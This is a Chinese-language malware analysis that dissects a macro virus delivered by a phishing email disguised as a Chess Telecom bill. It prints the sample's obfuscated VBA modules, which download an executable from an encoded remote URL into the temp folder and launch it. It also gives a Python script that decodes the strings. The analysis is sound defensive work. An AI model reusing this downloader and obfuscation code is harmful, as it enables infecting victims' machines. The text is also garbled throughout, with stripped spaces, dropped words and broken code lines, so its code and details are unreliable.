1.通过邮件传播的宏病毒
近期流行的一个宏病毒通过邮件进行传播,捕捉到的一个样本,其邮件头如下:
邮件的内容是这样子的(为节省篇幅,省略号处省略部分内容):
Yourbillsummary
Accountnumber:24583
InvoiceNumber:2398485
Billdate:July2015
Amount:£17.50
HowcanIviewmybills?
=ledbill,previousbillsandanychargesyou'veincurredsinceyourlastb=ll,/myaccountForgottenyoursignindetails?
Ifyou'veforgottenyoursignindetails,noproblem,youcanresettheseb=choosing.
Makingpaymentsiseasy!
Ifyouwanttomakeacreditordebitcardpaymentyoucandoonlinebycho=sing
Youdon'tneedtodoanythingifyoupaybydirectdebit,wewillcollecty=,deta=lsofhowtopayusareavailableontheinvoice.
SwitchtoDirectDebittodayandyou'llsaveatleast£60.00ayear,s=mplycallourdedicatedteamon08447706060.
Anythingelseyou'dliketoknow?
Thise-mailhasbeensentfromaMailboxbelongingtoChessTelecom,registeredofficeBridgfordHouse,HeyesLane,AlderleyEdge,Cheshire,SK9=7JP.
RegisteredinEngland,=20intedrecipient.
Ifyoureceiveinerror,pleasenotifyChessTelecomon
+44(0)immediatelyquotingthenameoftheser,the
addresstowhichithasbeensentandtheleteit;youmaynotrelyoni=scontentsnorcopy/discloseittoanyone.
Opinions,conclusionsandstatements
ofintentinthisemailarethoseoftheserandwillnotbindChessTel=comunlessconfirmedbyanauthorisedrepresentativeindepentlyofthismess=ge.
Wedonotacceptresponsibilityforviruses;youmustscanforthese.
Please
notethatemailssenttoandfromChessTelecomareroutinelymonitoredfor=20recordkeeping,qualitycontrolandtrainingpurposes,toensureregulatory=20complianceandtopreventvirusesandunauthoriseduseofourcomputersystems.
Thankyouforyourco-operation.
Quotationsaresubjecttotermsandconditions,excludeVATandaresubjecttositesurvey.
EOE
上述邮件正文:描述内容看起来相当的可靠,里面的电话号码都是真实的,并且给出了具体的公司名称地址,而且这个公司还真是具体存在的,现在还不知道这个公司是否知道自己被人冒名干坏事儿了(有点绕口,但不是重点…),之所以这么逼真,只是恶意邮件发送者希望以此来降低受害者的防备意识。
2.提取宏代码
我们主要分析的邮件的附件,通过Outlook的保存功能可以将邮件中的附件2015-07-保存出来,我们分析需要用到一个工具OfficeMalScanner,可以到这里下载。
提取宏代码的步骤如下:
2.1解压
解压后将会默认保存到C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\DecompressedMsOfficeDocument目录下面(WinXPSP3环境),解压后的目录大致如下:
│[Content_Types].xml
│
├─docProps
│
│
│
├─word
││
││
││
││
││
││
││
││
│├─theme
││
││
│└─_rels
│
│
│
└─_rels
上面的文档目录结构中可以发现在word目录下含有一个的文件,这就是宏文件代码所在的地方,需要注意的是vbaProject名字是可以任意取的,并不一定就是vbaProject(为默认的宏文件名字)。接下来从文件中提取宏代码。
2.2提取
默认会在同目录下生成一个文件夹,里面存放有vba宏代码的各个模块。本案例中所提取到的各个文件如下:
Module1
Module2
Module35
Module4
ThisDocument
上面的文件都是vb代码,只不过去掉了后缀而已。接着的工作就是分析vb代码,看一下具体做了什么。
3.代码分析
为了便于说明,并没有按照模块的顺序来说明。
3.1Module2代码分析
Module2的代码如下:
1AttributeVB_Name="Module2"
2
3Functioninit
4
5Setthisfrm=Forms("main")
6
7frmWidth=
8frmHeight=
9
10Function
11PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString)
12L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"")
13SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM)
14Function
15PrivateSubbutton_physical_inventory_Click
16OnErrorGoToErr_button_physical_inventory_Click
17
18strSQLWhere=_department_
19stDocName="physical_inventory"
20,acPreview
21
22Exit_button_physical_inventory_Click:
23ExitSub
24
25Err_button_physical_inventory_Click:
26
27ResumeExit_button_physical_inventory_Click
28
29Sub
主要看[11-14]行代码,如下:
PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString)
L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"")
SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM)
Function
函数中的主要语句Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),""),其中的Chr(60),chr(61),Chr(59)分别对应于,=,;,这些就是被替换的字符,替换的字符是""(NULL,也就是删除了原有字符)。
因此本模块的主要功能,是提供一个解密函数lLJrFk6pKsSYJ(string),将string中的",=,;"删除得到真正的字符串。
3.2模块Module1模块分析
Module1的代码如下:
1AttributeVB_Name="Module1"
2
3PrivateSubForm_Load
4=strSQLInventory
5
6
7=(strInventoryCount*)+
8Else
9=
10If
11
12Sub
13
14PrivateSubboxes_LostFocus
15
16=strInventoryCount*
17If
18Sub
19
20PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString)
21DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"Chr(60)Chr(100)Chr(111)Chr(59)Chr(100)Chr(98)Chr(61)Chr(46)Chr(83)Chr(116)Chr(61)Chr(114)Chr(60)"e"Chr(97)Chr(59)"m")
22
23WithNLobhieCn4Xt
24.Type=1
25.Open
26.writeyXhBaz0XR
27With
28,2
29Function
30PrivateSubpieces_LostFocus
31
32=(strInventoryCount*)+
33Else
34=
35If
36Sub
37
38PrivateSubbtn_save_Click
39
40Sub
主要看[20-29]代码段,如下:
PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString)
DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"Chr(60)Chr(100)Chr(111)Chr(59)Chr(100)Chr(98)Chr(61)Chr(46)Chr(83)Chr(116)Chr(61)Chr(114)Chr(60)"e"Chr(97)Chr(59)"m")
WithNLobhieCn4Xt
.Type=1
.Open
.writeyXhBaz0XR
With
,2
Function
主要提供一个函数FlvXHsDrWT3aY(yXhBaz0XR=字节数组,c7e410X3Qq=文件名),其语句为:
lLJrFk6pKsSYJ("A"Chr(60)Chr(100)Chr(111)Chr(59)Chr(100)Chr(98)Chr(61)Chr(46)Chr(83)Chr(116)Chr(61)Chr(114)Chr(60)"e"Chr(97)Chr(59)"m")
可以看到这里采用了Module2中的解密函数lLJrFk6pKsSYJ,对加密的字符串进行解密后使用。我们已经知道了lLJrFk6pKsSYJ函数的作用,因此手工解密后得到:
A
删除其中的"空格;=",得到真正的命令:。进一步分析可以得到该函数的作用为:
采用流,将字节数组写入指定文件中。
稍后我将会提供一个Python脚本对这些命令进行解密,还原出宏代码的真正命令。
3.3Module4模块分析
1AttributeVB_Name="Module4"
2
3PublicctlWidthAsInteger
4PublicctlHeightAsInteger
5PublicaDPbd2byZbAsString
6PublicstrSQLBaseAsString'querybase
7PublicobjSearchFormAsString'requireformname
8PublicobjInputCodeAsString'textfieldforproductcodeentry
9PublicobjInputNameAsString'textfieldforproductnameentry
10PublicsearchCodeAsString
11PublicsearchNameAsString
12PubliccolS1AsString'columntosearch
13PubliccolS2AsString'columntosearch
14
15Functionsearch_records
16
17'checkformcontrolsiftheyhaveuserinput
18IfNotIsNull(Forms(objSearchForm).Controls(objInputCode))Then
19searchCode=Forms(objSearchForm).Controls(objInputCode)
20Else
21searchCode=""
22If
23
24IfNotIsNull(Forms(objSearchForm).Controls(objInputName))Then
25searchName=Forms(objSearchForm).Controls(objInputName)
26Else
27searchName=""
28If
29
30'mainsearchlogic
31If(searchCode=""AndsearchName="")Or(IsNull(searchCode)AndIsNull(searchName))Then
32strSQLSearch=strSQLBase
33ElseIf(NotIsNull(searchCode)=True)And(NotIsNull(searchName)=True)Then
34strSQLSearch=strSQLBase"WHERE"colS1"LIKE'"searchCode"*'AND"colS2"LIKE'*"searchName"*'"
35ElseIfNotIsNull(searchCode)Then
36strSQLSearch=strSQLBase"WHERE"colS1"LIKE'"searchCode"*'"
37ElseIfNotIsNull(searchName)Then
38strSQLSearch=strSQLBase"WHERE"colS2"LIKE'*"searchName"*'"
39Else
40MsgBox"Pleaseprovidedetailstosearch"
41ExitFunction
42If
43
44Forms(objSearchForm).RecordSource=strSQLSearch
45
46Function
47Functioncontrol_set_left(controlNameAsString)
48
49(controlName).Left=720
50
51Function
52
53SubLWS8UPvw1QGKq
54
55Nrh1INh1S5hGed=Chr(104)Chr(116)Chr(61)Chr(116)Chr(112)Chr(58)Chr(47)Chr(59)Chr(47)Chr(108)Chr(97)Chr(98)Chr(111)"a"Chr(60)Chr(117)"d"Chr(105)Chr(111)Chr(46)Chr(61)Chr(99)Chr(111)Chr(109)Chr(47)Chr(52)Chr(116)Chr(102)Chr(51)Chr(51)Chr(119)Chr(47)Chr(60)Chr(119)Chr(52)Chr(116)Chr(52)Chr(53)Chr(51)Chr(46)Chr(59)"e"Chr(61)Chr(120)Chr(101)
'下载方式:LhZitls7wPn=
56SetLhZitls7wPn=lLJrFk6pKsSYJ("M""i"Chr(60)Chr(99)Chr(114)Chr(111)Chr(61)"s"Chr(111)"f"Chr(116)";"Chr(46)"X"Chr(77)Chr(60)"L"Chr(59)Chr(72)"T"Chr(61)Chr(84)"P")
57
58Nrh1INh1S5hGed=Replace(Replace(Replace(Nrh1INh1S5hGed,Chr(60),""),Chr(61),""),Chr(59),"")
'使用CallByName进行下载:
59CallByNameLhZitls7wPn,Chr(79)Chr(112)Chr(101)Chr(110),VbMethod,Chr(71)Chr(69)Chr(84),_
60Nrh1INh1S5hGed_
61,False
62
'vu2Wh85645xcP0=
63Setvu2Wh85645xcP0=lLJrFk6pKsSYJ(Chr(87)""Chr(83)"c"Chr(61)Chr(114)"i"Chr(112)"t"Chr(59)Chr(46)Chr(83)"="Chr(104)"e""""l"Chr(108))
64
'获取查询环境变量的句柄:GhbwRqU9OkbF=CallByName(WScript,Environmentrocess)
65SetGhbwRqU9OkbF=CallByName(vu2Wh85645xcP0,Chr(69)Chr(110)"v"Chr(105)Chr(114)Chr(111)"n""m"Chr(101)Chr(110)Chr(116),VbGet,Chr(80)"r""o"Chr(99)"e"Chr(115)"s")
66
'取得临时目录的路径:GhbwRqU9OkbF(TEMP)
67SD3q5HdXxoiA=GhbwRqU9OkbF(Chr(84)Chr(69)Chr(77)Chr(80))
68
'下载的恶意程序存放路径:aDPbd2byZb=%TEMP%\
69aDPbd2byZb=SD3q5HdXxoiA"\"Chr(102)Chr(103)Chr(104)Chr(103)Chr(107)Chr(98)Chr(98)Chr(46)"e""x"Chr(101)
70DimbvGEpxCVsZAsByte
71
'发送请求:
72CallByNameLhZitls7wPn,Chr(83)Chr(101)Chr(110)Chr(100),VbMethod
'获取响应体:
73bvGEpxCVsZ=CallByName(LhZitls7wPn,"r""e"Chr(115)Chr(112)Chr(111)Chr(110)Chr(115)Chr(101)Chr(66)Chr(111)Chr(100)"y",VbGet)
'使用流,将bvGEpxCVsZ字节流写入到文件aDPbd2byZb中
'将字节数组bvGEpxCVsZ写入文件aDPbd2byZb'
'这里涉及到了模块Module1中的函数FlvXHsDrWT3aY(字节数组,文件名)
74FlvXHsDrWT3aYbvGEpxCVsZ,aDPbd2byZb
75OnErrorGoToOhXhZLRKh
76a=84/0
77OnErrorGoTo0
78
79xrIvr6mOXvFG:
80ExitSub
81OhXhZLRKh:
82ENMD3t8EY4A("UfBPGay4VPJi")
83ResumexrIvr6mOXvFG
84Sub
85Functioncontrol_set_right(controlNameAsString)
86
87ctlWidth=(controlName).Width
88(controlName).Left=frmWidth-ctlWidth-720
89
90Function
91
92Functioncontrol_set_center(controlNameAsString)
93
94ctlWidth=(controlName).Width
95(controlName).Left=(frmWidth/2)-(ctlWidth/2)
96
97
98Function
主要看[53-90]行,分析函数LWS8UPvw1QGKq的作用,为了了解这个函数到底干了什么,我们需要对其解密,上面的两个模块由于函数较短,可以进行手工解密,然而由于这个模块中要解密的太多,
手工解密显然是一种繁琐效率低下的方式,故给出如下Python代码(Python3):
importsys
importio
importre
=(,encoding='utf-8')
defdecryptstr(s):
cmd=''
cmdlst=('')
pat=(r"Chr\([0-9]*\)")
foritemincmdlst:
if'Chr'initem:
beg,=('('),(')')
numstr=item[beg+1:]
cmd+=chr(int(numstr))
else:
cmd+=('"','')
cmd=('','')
cmd=('=','')
cmd=(';','')
cmd=('','')
print(cmd)
ss=input("InputString:")
whilelen(ss)!=0:
print(decryptstr(ss))
ss=input("InputString:")
代码比较少也比较简单,就没有写注释了。用法看下图就可以了:
;
InputString:后面粘贴上要解密的字符串,然后回车就可以得到解密后的字符串。
代码中也加入了注释,理解这块代码应该不难。可以知道该模块从,以文件名保存到临时目录。
3.4ThisDocument模块分析
该模块主要代码如下(不像上面都给出了完整代码,而是仅仅给出了核心代码,如果希望查看完整代码的,可以到文末下载附件):
PublicFunctionENMD3t8EY4A(Ka0YAlL82qAsString)
':创建了一个shell对象
SetCYgAH0pzCPj0eA=lLJrFk6pKsSYJ(Chr(83)Chr(104)"="Chr(101)Chr(108)Chr(59)Chr(108)Chr(60)Chr(46)Chr(65)Chr(112)Chr(59)Chr(112)Chr(108)"i"Chr(60)"c""a"Chr(116)Chr(61)Chr(105)Chr(111)Chr(110))
WithCYgAH0pzCPj0eA
'open(C:\DOCUME~1\USERNAME\LOCALS~1\Temp\):启动恶意程序
.Open(aDPbd2byZb)
也就是启动下载的恶意程序。
另外,还有一个Module35模块,我没有进行说明,因为Module35基本上没有提供有用的信息,可以忽略,并不影响我们分析该宏的功能。
4.结论
至此,我们可以知道,该宏代码通过邮件进行传播,当用户使用word打开邮件中的附件,启用宏代码的时候,恶意代码将会首先到,保存的名字为,然后启动该恶意程序。这个时候用户就中病毒了。
文末,还是提醒一下大家,对于陌生邮件,一定要慎重的打开,很多人对于邮件,什么都没有想,就直接打开邮件了。在本案例中是通过附件word中的宏代码进行感染,但是有的恶意程序直接在你打开邮件的时候就感染上病毒了。
如果你希望自己亲自分析一下,你可以到这里下载本案例中的邮件。解压密码为:freebuf
希望本文对信息安全行业的人员有所帮助。